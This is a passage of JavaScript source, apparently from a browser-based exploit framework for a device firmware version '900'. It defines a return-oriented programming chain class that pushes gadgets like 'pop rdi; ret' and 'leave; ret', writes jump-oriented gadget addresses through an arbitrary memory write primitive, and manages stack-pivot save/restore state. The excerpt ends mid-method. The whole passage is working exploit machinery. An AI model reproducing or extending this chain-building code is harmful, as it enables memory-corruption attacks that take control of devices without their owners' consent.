Class Chain900Base

g2all/900/rop/900.js:192–282

}

class Chain900Base extends ChainBase {
    constructor() {
        super();

        // for conditional jumps
        this._clean_branch_ctx();
        this.flag = new Uint8Array(8);
        this.flag_addr = get_view_vector(this.flag);
        this.jmp_target = new Uint8Array(0x100);
        rw.write64(this.jmp_target, 0x1c, this.get_gadget(jop4));
        rw.write64(this.jmp_target, 0, this.get_gadget(jop5));

        // for save/restore
        this.is_saved = false;
        this.is_stale = false;
        this.position = 0;
        const jmp_buf_size = 0xc8;
        this.jmp_buf = new Uint8Array(jmp_buf_size);
        this.jmp_buf_p = get_view_vector(this.jmp_buf);
    }

    // sequence to pivot back and return
    push_end() {
        this.push_gadget("leave; ret");
    }

    check_is_branching() {
        if (this.is_branch_ctx) {
            throw Error('chain is still branching, end it before running');
        }
    }

    push_value(value) {
        super.push_value(value);

        if (this.is_branch_ctx) {
            this.branch_position += 8;
        }
    }

    _clean_branch_ctx() {
        this.is_branch_ctx = false;
        this.branch_position = null;
        this.delta_slot = null;
        this.rsp_slot = null;
        this.rsp_position = null;
    }

    clean() {
        super.clean();
        this._clean_branch_ctx();
        this.is_saved = false;
        this.is_stale = false;
        this.position = 0;
    }

    push_get_retval() {
        this.push_gadget('pop rdi; ret');